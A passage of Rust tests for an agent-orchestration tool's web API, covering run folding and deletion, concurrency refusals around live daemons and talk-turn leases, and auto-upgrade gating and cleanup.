22030    /// exception took `syncList` with it, and the deck showed
22031    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
22032    /// line is computed before the cards, which is why the failure looked like
22033    /// a server that had lost its runs rather than a front end that had
22034    /// stopped rendering them.
22035    ///
22036    /// A `cargo test` cannot execute the front end, so this reads the two
22037    /// halves out of the source and compares them as sets. It is not a check
22038    /// on the wording of either list: adding an element, renaming one, or
22039    /// reordering them all keeps this passing, and only using one the builder
22040    /// never published fails it.
22041    #[test]
22042    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22043        let build = APP_JS
22044            .find("function createRunCard")
22045            .expect("createRunCard exists");
22046        let update = APP_JS
22047            .find("function updateRunCard")
22048            .expect("updateRunCard exists");
22049        let end = APP_JS
22050            .find("function renderRuns")
22051            .expect("renderRuns exists");
22052
22053        // The builder's published set: the object literal assigned to `refs`.
22054        let builder = &APP_JS[build..update];
22055        let open = builder.find("refs = {").expect("createRunCard sets refs");
22056        let literal = &builder[open + "refs = {".len()..];
22057        let close = literal.find('}').expect("the refs literal is closed");
22058        let published: HashSet<&str> = literal[..close]
22059            .split(',')
22060            // `name` and `name: value` both bind `name`.
22061            .filter_map(|entry| entry.split(':').next())
22062            .map(str::trim)
22063            .filter(|name| !name.is_empty())
22064            .collect();
22065        assert!(
22066            published.len() > 5,
22067            "the refs literal did not parse into names: {published:?}"
22068        );
22069
22070        // What the updaters reach for: every `r.<name>`, where `r` is the
22071        // `const r = row.refs` alias both functions open with.
22072        let mut used: Vec<&str> = Vec::new();
22073        let updaters = &APP_JS[update..end];
22074        for (at, _) in updaters.match_indices("r.") {
22075            // `r` must be the whole identifier, not the tail of another one
22076            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
22077            let before = updaters[..at].chars().next_back();
22078            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
22079                continue;
22080            }
22081            let rest = &updaters[at + 2..];
22082            let len = rest
22083                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
22084                .unwrap_or(rest.len());
22085            if len > 0 {
22086                used.push(&rest[..len]);
22087            }
22088        }
22089        assert!(
22090            used.len() > 5,
22091            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
22092        );
22093
22094        let missing: Vec<&str> = used
22095            .iter()
22096            .copied()
22097            .filter(|name| !published.contains(name))
22098            .collect();
22099        assert!(
22100            missing.is_empty(),
22101            "a run card's updater reaches for {missing:?}, which `createRunCard` \
22102             never put in `refs` - every card will throw and the list will \
22103             render empty under a count line that says otherwise. Published: \
22104             {published:?}"
22105        );
22106    }
22107
22108    #[tokio::test]
22109    async fn folding_from_the_phone_reports_what_it_removed() {
22110        let fx = Fixture::start().await;
22111        let runs = fx.runs();
22112
22113        // A run with no candidates has nothing to fold, which is a 200 with an
22114        // honest count rather than an error: the operator asked for the trees
22115        // to be gone and they are.
22116        let id = "20260901-000000-fold";
22117        write_run(&runs, id, RunStatus::Stalled);
22118        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22119        assert_eq!(res.status, 200);
22120        assert_eq!(res.json()["removed_count"], 0);
22121        assert_eq!(res.json()["run"], id);
22122        assert!(
22123            runs.join(id).exists(),
22124            "a fold keeps the run's record; only the worktrees go"
22125        );
22126    }
22127
22128    #[tokio::test]
22129    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22130        let fx = Fixture::start().await;
22131        let runs = fx.runs();
22132        let wt = fx.home.path().join("wt").join("magi").join("dead");
22133        let id = "20260901-000000-dead";
22134        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22135        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22136        std::fs::create_dir_all(&wt).expect("worktree dir");
22137
22138        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22139        assert_eq!(res.status, 200, "{}", res.body);
22140        assert!(
22141            res.json()["removed_count"].as_u64().unwrap() > 0,
22142            "the worktree this build could not read a state for still went"
22143        );
22144        assert!(
22145            !runs.join(id).exists(),
22146            "an unreadable run has no candidate list to fold selectively, so \
22147             the whole record goes - same as `magi fold` on the CLI"
22148        );
22149    }
22150
22151    #[tokio::test]
22152    async fn deleting_an_unreadable_run_removes_it_wholesale() {
22153        let fx = Fixture::start().await;
22154        let runs = fx.runs();
22155        let wt = fx.home.path().join("wt").join("magi").join("gone");
22156        let id = "20260901-000000-gone";
22157        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22158        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22159        std::fs::create_dir_all(&wt).expect("worktree dir");
22160
22161        let res = fx.delete(&format!("/api/runs/{id}")).await;
22162        assert_eq!(res.status, 204, "{}", res.body);
22163        assert!(!runs.join(id).exists(), "the broken record is gone");
22164        assert!(!wt.exists(), "its worktree is gone too");
22165    }
22166
22167    #[tokio::test]
22168    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22169        let fx = Fixture::start().await;
22170        let runs = fx.runs();
22171        let id = "20260901-000000-live";
22172        write_run(&runs, id, RunStatus::Implementing);
22173
22174        let mut beat = crate::daemon::Status::new();
22175        beat.current = vec![crate::daemon::Current {
22176            worker: None,
22177            task: "20260901-000000-task".to_owned(),
22178            run: id.to_owned(),
22179        }];
22180        beat.updated_at = jiff::Timestamp::now();
22181        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22182            .expect("publish a heartbeat");
22183
22184        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22185        assert_eq!(res.status, 409);
22186        assert!(
22187            res.json()["error"]
22188                .as_str()
22189                .unwrap()
22190                .contains("live daemon"),
22191            "folding under a running agent would pull its worktree away"
22192        );
22193    }
22194
22195    #[tokio::test]
22196    async fn fold_merged_requires_a_pr_url() {
22197        let fx = Fixture::start().await;
22198        let runs = fx.runs();
22199        let id = "20260901-000000-nourl";
22200        write_run(&runs, id, RunStatus::Blocked);
22201
22202        let res = fx
22203            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22204            .await;
22205        assert_eq!(res.status, 400, "{}", res.body);
22206
22207        let blank = fx
22208            .post(
22209                &format!("/api/runs/{id}/fold-merged"),
22210                Some(r#"{"pr_url":"   "}"#),
22211            )
22212            .await;
22213        assert_eq!(blank.status, 400, "{}", blank.body);
22214    }
22215
22216    #[tokio::test]
22217    async fn fold_merged_is_404_for_an_unknown_run() {
22218        let fx = Fixture::start().await;
22219        let res = fx
22220            .post(
22221                "/api/runs/nosuchrun/fold-merged",
22222                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22223            )
22224            .await;
22225        assert_eq!(res.status, 404, "{}", res.body);
22226    }
22227
22228    #[tokio::test]
22229    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22230        let fx = Fixture::start().await;
22231        let runs = fx.runs();
22232        let id = "20260901-000000-livemerge";
22233        write_run(&runs, id, RunStatus::Blocked);
22234
22235        let mut beat = crate::daemon::Status::new();
22236        beat.current = vec![crate::daemon::Current {
22237            worker: None,
22238            task: "20260901-000000-task".to_owned(),
22239            run: id.to_owned(),
22240        }];
22241        beat.updated_at = jiff::Timestamp::now();
22242        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22243            .expect("publish a heartbeat");
22244
22245        let res = fx
22246            .post(
22247                &format!("/api/runs/{id}/fold-merged"),
22248                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22249            )
22250            .await;
22251        assert_eq!(res.status, 409, "{}", res.body);
22252        assert!(
22253            res.json()["error"]
22254                .as_str()
22255                .unwrap()
22256                .contains("live daemon"),
22257            "correcting a run's merge underneath a running agent would race \
22258             whatever it is doing to the same `status`/`merge` fields"
22259        );
22260    }
22261
22262    /// A pull request `gh` cannot even ask about (no such remote, no such
22263    /// repository) must never be recorded as a merge on a guess - the same
22264    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
22265    /// command line, reached here through the phone route instead.
22266    #[tokio::test]
22267    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22268        let fx = Fixture::start().await;
22269        let runs = fx.runs();
22270        let id = "20260901-000000-unconfirmed";
22271        write_run(&runs, id, RunStatus::Blocked);
22272
22273        let res = fx
22274            .post(
22275                &format!("/api/runs/{id}/fold-merged"),
22276                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22277            )
22278            .await;
22279        assert_eq!(res.status, 400, "{}", res.body);
22280        assert_eq!(
22281            read_run(&runs, id).unwrap().status,
22282            RunStatus::Blocked,
22283            "a pull request that could not be confirmed merged must leave \
22284             the run exactly where it was"
22285        );
22286    }
22287
22288    #[tokio::test]
22289    async fn terminal_runs_cannot_be_resumed() {
22290        let fx = Fixture::start().await;
22291        let runs = fx.runs();
22292
22293        for (status, word) in [
22294            (RunStatus::Merged, "merged"),
22295            (RunStatus::Ready, "ready"),
22296            (RunStatus::Failed, "failed"),
22297        ] {
22298            let id = format!("20260901-000000-{}", &word[..4]);
22299            write_run(&runs, &id, status);
22300            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22301            assert_eq!(res.status, 409, "{word} must not be resumable");
22302        }
22303    }
22304
22305    #[tokio::test]
22306    async fn resume_is_refused_while_the_loop_is_running() {
22307        let fx = Fixture::start().await;
22308        let runs = fx.runs();
22309        let stalled = "20260901-000000-stal";
22310        write_run(&runs, stalled, RunStatus::Stalled);
22311
22312        // The loop is busy with a *different* run, and that is still a
22313        // refusal: a manual resume must never race whatever the loop itself
22314        // is already driving, whether that is one run or several.
22315        let mut beat = crate::daemon::Status::new();
22316        beat.current = vec![crate::daemon::Current {
22317            worker: None,
22318            task: "20260901-000000-task".to_owned(),
22319            run: "20260901-000000-othr".to_owned(),
22320        }];
22321        beat.updated_at = jiff::Timestamp::now();
22322        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22323            .expect("publish a heartbeat");
22324
22325        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22326        assert_eq!(res.status, 409);
22327        let err = res.json()["error"].as_str().unwrap().to_owned();
22328        assert!(err.contains("othr"), "it names what the loop is on: {err}");
22329        assert!(err.contains("stop it first"), "{err}");
22330    }
22331
22332    #[test]
22333    fn a_run_cannot_be_resumed_twice_at_once() {
22334        let home = TempDir::new().expect("temp home");
22335        let ui = Ui::new(
22336            Queue::at(home.path().join("queue")),
22337            Questions::at(home.path().join("questions")),
22338            Talks::at(home.path().join("talks")),
22339            home.path().join("runs"),
22340            home.path().to_path_buf(),
22341            PathBuf::from("/repo"),
22342        )
22343        .with_worktrees_root(home.path().join("wt"));
22344        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22345        let again = ui.begin_resume("20260901-000000-once");
22346        assert!(again.is_err(), "a second tap must not start a second graph");
22347        drop(first);
22348        assert!(
22349            ui.begin_resume("20260901-000000-once").is_ok(),
22350            "and the claim is released when the attempt ends"
22351        );
22352    }
22353
22354    #[test]
22355    fn talk_thinking_tracks_only_its_held_turn_claim() {
22356        let home = TempDir::new().expect("temp home");
22357        let ui = Ui::new(
22358            Queue::at(home.path().join("queue")),
22359            Questions::at(home.path().join("questions")),
22360            Talks::at(home.path().join("talks")),
22361            home.path().join("runs"),
22362            home.path().to_path_buf(),
22363            PathBuf::from("/repo"),
22364        )
22365        .with_worktrees_root(home.path().join("wt"));
22366        let id = "20260901-000000-once";
22367
22368        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22369        let turn = ui.begin_talk_turn(id).expect("claim turn");
22370        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22371        assert!(
22372            !ui.is_thinking("20260901-000000-other"),
22373            "one talk's turn does not make another talk busy"
22374        );
22375        drop(turn);
22376        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22377    }
22378
22379    #[test]
22380    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22381        let home = TempDir::new().expect("temp home");
22382        let talks = Talks::at(home.path().join("talks"));
22383        let ui = Ui::new(
22384            Queue::at(home.path().join("queue")),
22385            Questions::at(home.path().join("questions")),
22386            talks.clone(),
22387            home.path().join("runs"),
22388            home.path().to_path_buf(),
22389            PathBuf::from("/repo"),
22390        )
22391        .with_worktrees_root(home.path().join("wt"));
22392        let id = "20260901-000000-cross";
22393
22394        let other = Talks::at(home.path().join("talks"))
22395            .claim_turn(id)
22396            .expect("claim")
22397            .expect("the other process wins");
22398        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22399        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22400        assert!(
22401            matches!(
22402                ui.begin_talk_turn_unless_pending(id).expect("start"),
22403                TalkTurnStart::Foreign
22404            ),
22405            "a foreign holder is refused, not queued behind"
22406        );
22407        assert!(
22408            !ui.talk_turns.lock().unwrap().live.contains(id),
22409            "a refused claim leaves no in-process entry behind"
22410        );
22411        drop(other);
22412        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22413        assert!(talks.turn_held(id), "the web turn holds the lease");
22414        drop(turn);
22415        assert!(
22416            !talks.turn_held(id),
22417            "dropping the guard releases the lease"
22418        );
22419    }
22420
22421    fn consult_question(ui: &Ui) -> Question {
22422        let mut q = Question::new(
22423            "20260901-000000-consult".to_owned(),
22424            "implement".to_owned(),
22425            "impl-A".to_owned(),
22426            "Which backend?".to_owned(),
22427            String::new(),
22428            vec!["SQLite".to_owned(), "Redis".to_owned()],
22429        );
22430        ui.questions.put(&mut q).expect("question");
22431        q
22432    }
22433
22434    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22435        (
22436            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22437            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22438        )
22439    }
22440
22441    #[tokio::test]
22442    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22443        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22444        let q = consult_question(&ui);
22445        let talk = ui.talks.get(&id).expect("talk");
22446        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22447        let before = consult_snapshot(&ui, &q, &id);
22448        let cli_talks = Talks::at(ui.home.join("talks"));
22449        assert_eq!(
22450            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22451                .await
22452                .expect("CLI starter"),
22453            crate::consult::Started::Busy
22454        );
22455        assert_eq!(consult_snapshot(&ui, &q, &id), before);
22456        assert!(ui.is_thinking(&id));
22457        drop(guard);
22458        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22459    }
22460
22461    #[tokio::test]
22462    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22463        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22464        let q = consult_question(&ui);
22465        let talk = ui.talks.get(&id).expect("talk");
22466        let started = tmp.path().join("started");
22467        let release = tmp.path().join("release");
22468        let script = tmp.path().join("consult-agent.sh");
22469        std::fs::write(
22470            &script,
22471            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
22472        )
22473        .expect("script");
22474        let mut cfg = stub_config();
22475        cfg.agents[0].id = "mock".to_owned();
22476        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22477        cfg.agents[0].env = std::collections::BTreeMap::from([
22478            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22479            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22480        ]);
22481        let questions = ui.questions.clone();
22482        let cli_talks = Talks::at(ui.home.join("talks"));
22483        let cli_q = q.clone();
22484        let turn = tokio::spawn(async move {
22485            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22486        });
22487        let ready = tokio::time::timeout(Duration::from_secs(30), async {
22488            while !started.exists() {
22489                tokio::time::sleep(Duration::from_millis(10)).await;
22490            }
22491        })
22492        .await;
22493        // Always release and join the agent, even if readiness or the web
22494        // request fails, so a failed assertion cannot leave a turn behind.
22495        let refusal = if ready.is_ok() {
22496            let before = consult_snapshot(&ui, &q, &id);
22497            let result = talk_say(
22498                State(Arc::clone(&ui)),
22499                Path(id.clone()),
22500                Ok(Json(NewTalkTurn {
22501                    reply_to: None,
22502                    text: "another message".to_owned(),
22503                    attachments: Vec::new(),
22504                })),
22505            )
22506            .await;
22507            Some((result, before, consult_snapshot(&ui, &q, &id)))
22508        } else {
22509            None
22510        };
22511        std::fs::write(&release, "").expect("release agent");
22512        let done = turn.await.expect("join CLI turn");
22513        ready.expect("agent started before deadline");
22514        let (result, before, after) = refusal.expect("web request");
22515        let error = result.expect_err("web must refuse the CLI's turn");
22516        assert_eq!(error.status, StatusCode::CONFLICT);
22517        assert!(error.message.contains("a turn is already running"));
22518        assert_eq!(
22519            after, before,
22520            "refusal preserves question, draft and history"
22521        );
22522        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22523        let guard = ui
22524            .begin_talk_turn(&id)
22525            .expect("web claim")
22526            .expect("free again");
22527        drop(guard);
22528    }
22529
22530    #[test]
22531    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22532        let home = TempDir::new().expect("temp home");
22533        let talks = Talks::at(home.path().join("talks"));
22534        let ui = Ui::new(
22535            Queue::at(home.path().join("queue")),
22536            Questions::at(home.path().join("questions")),
22537            talks.clone(),
22538            home.path().join("runs"),
22539            home.path().to_path_buf(),
22540            PathBuf::from("/repo"),
22541        )
22542        .with_worktrees_root(home.path().join("wt"));
22543        let id = "20260901-000000-order";
22544        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22545        // Hold the slot mutex so the drop can finish the lease but not the slot.
22546        let slots = ui.talk_turns.lock().unwrap();
22547        let dropper = std::thread::spawn(move || drop(turn));
22548        let start = std::time::Instant::now();
22549        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22550            std::thread::sleep(Duration::from_millis(5));
22551        }
22552        assert!(!talks.turn_held(id), "the lease is released first");
22553        assert!(slots.live.contains(id), "the slot is still held meanwhile");
22554        drop(slots);
22555        dropper.join().expect("join");
22556        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22557    }
22558
22559    #[tokio::test]
22560    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22561        let fx = Fixture::start().await;
22562        let mut beat = crate::daemon::Status::new();
22563        beat.worker_protocol = None;
22564        beat.pid = 4321;
22565        beat.updated_at = jiff::Timestamp::now();
22566        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22567            .expect("publish a heartbeat");
22568
22569        let res = fx.post("/api/upgrade", None).await;
22570        assert_eq!(res.status, 409);
22571    }
22572
22573    /// [`should_spawn_recheck`] must refuse for the same two reasons
22574    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
22575    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
22576    /// Purely a predicate over config and the environment - no network, no
22577    /// disk, no runtime - so unlike the fixture-based tests around it this
22578    /// one needs neither.
22579    #[test]
22580    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22581        assert!(!should_spawn_recheck(&crate::config::Update {
22582            mode: UpdateMode::Off,
22583            interval: None,
22584            auto_restart: false,
22585        }));
22586
22587        // SAFETY: single-threaded as far as this variable goes, the same
22588        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22589        unsafe {
22590            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22591        }
22592        let killed = should_spawn_recheck(&crate::config::Update {
22593            mode: UpdateMode::Notify,
22594            interval: None,
22595            auto_restart: false,
22596        });
22597        unsafe {
22598            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22599        }
22600        assert!(
22601            !killed,
22602            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22603             one-time startup check"
22604        );
22605
22606        assert!(should_spawn_recheck(&crate::config::Update {
22607            mode: UpdateMode::Notify,
22608            interval: None,
22609            auto_restart: false,
22610        }));
22611    }
22612
22613    /// [`recheck_poll_period`] must track a configured `[update] interval`
22614    /// shorter than its own default ceiling - a fixed sleep here would leave
22615    /// an operator's short interval waiting on the next wake-up instead of on
22616    /// `should_check`, which is the same bug this whole task exists to fix,
22617    /// just one level down.
22618    #[test]
22619    fn recheck_poll_period_tracks_a_short_configured_interval() {
22620        let short = crate::config::Update {
22621            mode: UpdateMode::Notify,
22622            interval: Some("1m".to_owned()),
22623            auto_restart: false,
22624        };
22625        let period = recheck_poll_period(&short);
22626        assert!(
22627            period <= Duration::from_secs(30),
22628            "a one-minute interval must wake the task far sooner than the \
22629             default ceiling, or the deck would not notice within the \
22630             interval the operator configured: got {period:?}"
22631        );
22632
22633        let default = crate::config::Update {
22634            mode: UpdateMode::Notify,
22635            interval: None,
22636            auto_restart: false,
22637        };
22638        assert_eq!(
22639            recheck_poll_period(&default),
22640            UPDATE_RECHECK_POLL_MAX,
22641            "the default day-long interval should poll at the (capped) \
22642             ceiling rather than needlessly often"
22643        );
22644    }
22645
22646    /// [`update_recheck_due`] must not repeat a check made moments ago, the
22647    /// same throttle `updater::Checker::should_check` already gives the
22648    /// CLI's notify mode. Built over an explicit state file via
22649    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
22650    /// write the operator's real `last_update_check.json` - and therefore
22651    /// cannot flake on whatever that file happens to say on the machine
22652    /// running the test.
22653    #[test]
22654    fn recheck_skips_the_network_before_the_interval_elapses() {
22655        let dir = TempDir::new().expect("temp dir");
22656        let path = dir.path().join("state.json");
22657        let state = kaishin::UpdateCheckState {
22658            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22659            last_known_latest: None,
22660            last_known_url: None,
22661        };
22662        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22663
22664        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22665        assert!(
22666            !update_recheck_due(&checker, None),
22667            "a check made moments ago must not be repeated before the \
22668             configured interval elapses"
22669        );
22670    }
22671
22672    /// An upgrade this deck already started must not be raced by a recheck
22673    /// that discovers a newer release mid-install - regardless of what
22674    /// `should_check` says, which is why the state file here is missing
22675    /// entirely: read alone, that alone would answer "never checked, go
22676    /// ahead".
22677    #[test]
22678    fn recheck_defers_to_an_upgrade_already_in_flight() {
22679        let dir = TempDir::new().expect("temp dir");
22680        let path = dir.path().join("state.json");
22681        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22682        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22683
22684        assert!(
22685            !update_recheck_due(&checker, Some(&progress)),
22686            "a recheck must not run while an upgrade this deck started is \
22687             still moving"
22688        );
22689    }
22690
22691    #[tokio::test]
22692    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22693        // The same env var the background check honours (`disabled_by_env`)
22694        // must also stop a button press before it ever calls
22695        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22696        // means "never contact GitHub from this process", and a tap on the
22697        // upgrade button must not override that any more than a broken
22698        // `magi.toml` may. Left unset, this fixture's default config would
22699        // otherwise reach a real, unauthenticated GitHub call.
22700        //
22701        // SAFETY: single-threaded as far as this variable goes - nothing else
22702        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
22703        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22704        unsafe {
22705            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22706        }
22707        let fx = Fixture::start().await;
22708        let res = fx.post("/api/upgrade", None).await;
22709        unsafe {
22710            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22711        }
22712        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22713        let body = res.json();
22714        assert!(body["to"].is_null(), "there was no release to move to");
22715        assert!(body["parked"].is_null(), "and nothing was parked");
22716        assert!(
22717            body["detail"]
22718                .as_str()
22719                .unwrap()
22720                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22721            "{body:?}"
22722        );
22723    }
22724
22725    #[test]
22726    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22727        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22728        let mut cfg = Update::default();
22729        assert!(matches!(
22730            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22731            Skip(_)
22732        ));
22733        cfg.auto_restart = true;
22734        assert_eq!(
22735            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22736            Trigger
22737        );
22738        assert_eq!(
22739            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22740            Wait
22741        );
22742        for (disabled, moving, failed) in [
22743            (true, false, None),
22744            (false, true, None),
22745            (false, false, Some("v2")),
22746        ] {
22747            assert!(matches!(
22748                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22749                Skip(_)
22750            ));
22751        }
22752        assert_eq!(
22753            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22754            Trigger
22755        );
22756        cfg.mode = UpdateMode::Off;
22757        assert!(matches!(
22758            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22759            Skip(_)
22760        ));
22761    }
22762
22763    #[test]
22764    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22765        let home = TempDir::new().unwrap();
22766        let ui = idle_ui(&home);
22767        assert!(!ui.auto_upgrade_busy());
22768        let directory = home.path().join("workers/jobs/abcdef");
22769        std::fs::create_dir_all(&directory).unwrap();
22770        let mut job = crate::worker::Job {
22771            id: "abcdef".into(),
22772            sequence: 1,
22773            kind: "scheduler".into(),
22774            key: "scheduler".into(),
22775            payload: serde_json::json!({}),
22776            generation: "test".into(),
22777            version: None,
22778            status: crate::worker::Status::Running,
22779            result: None,
22780            pid: None,
22781            created_at: 0,
22782            finished_at: None,
22783        };
22784        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22785        let write = |job: &crate::worker::Job| {
22786            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22787        };
22788        write(&job);
22789        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22790        for kind in ["task", "chat"] {
22791            job.kind = kind.into();
22792            write(&job);
22793            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22794        }
22795        drop(lease);
22796        // Lease::drop explicitly unlocks even if a concurrent fork inherited
22797        // the descriptor. Check the real decision directly: a raw flock probe
22798        // here could itself be inherited and keep the worker looking busy.
22799        assert!(
22800            !ui.auto_upgrade_busy(),
22801            "completed execution permits updates"
22802        );
22803        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22804        assert!(
22805            ui.auto_upgrade_busy(),
22806            "unreadable worker state defers updates"
22807        );
22808    }
22809
22810    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22811        Box::pin(async { anyhow::bail!("test installer failed") })
22812    }
22813
22814    #[tokio::test]
22815    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22816        let home = TempDir::new().unwrap();
22817        std::fs::write(
22818            home.path().join("magi.toml"),
22819            "[update]\nauto_restart = true\n",
22820        )
22821        .unwrap();
22822        let mut ui = idle_ui(&home);
22823        ui.repo = home.path().to_path_buf();
22824        // Every successful trigger in this test uses this seam, never the installer.
22825        ui.upgrade_runner = fail_test_upgrade;
22826        let ui = Arc::new(ui);
22827        let latest = || {
22828            Some(kaishin::LatestRelease {
22829                tag_name: "v999.0.0".into(),
22830                html_url: String::new(),
22831            })
22832        };
22833        ui.talk_turns.lock().unwrap().live.insert("busy".into());
22834        assert_eq!(
22835            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22836                .await
22837                .status(),
22838            StatusCode::NO_CONTENT
22839        );
22840        assert!(updater::read_progress(home.path()).is_none());
22841        ui.talk_turns.lock().unwrap().live.clear();
22842        let gate = ui.upgrade_gate.lock().await;
22843        assert_eq!(
22844            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22845                .await
22846                .status(),
22847            StatusCode::CONFLICT
22848        );
22849        drop(gate);
22850        assert_eq!(
22851            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22852                .await
22853                .status(),
22854            StatusCode::ACCEPTED
22855        );
22856        let progress = updater::read_progress(home.path()).unwrap();
22857        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22858        assert_eq!(progress.stage, updater::Stage::Downloading);
22859        assert!(progress.parked_run.is_none());
22860        assert!(ui.start_detached_loop().await.is_err());
22861        assert!(ui.start_loop(None).is_err());
22862        assert!(ui.begin_resume("late").is_err());
22863        tokio::time::timeout(Duration::from_secs(2), async {
22864            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22865                tokio::task::yield_now().await;
22866            }
22867        })
22868        .await
22869        .unwrap();
22870        let progress = updater::read_progress(home.path()).unwrap();
22871        assert_eq!(progress.stage, updater::Stage::Failed);
22872        assert_eq!(
22873            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22874                .await
22875                .status(),
22876            StatusCode::NO_CONTENT
22877        );
22878        // The manual shared path records the same progress and runs the same seam.
22879        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22880        assert_eq!(
22881            finish_upgrade_request(&ui, result).status(),
22882            StatusCode::ACCEPTED
22883        );
22884        assert_eq!(
22885            updater::read_progress(home.path()).unwrap().trigger,
22886            updater::UpgradeTrigger::Manual
22887        );
22888        tokio::time::timeout(Duration::from_secs(2), async {
22889            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22890                tokio::task::yield_now().await;
22891            }
22892        })
22893        .await
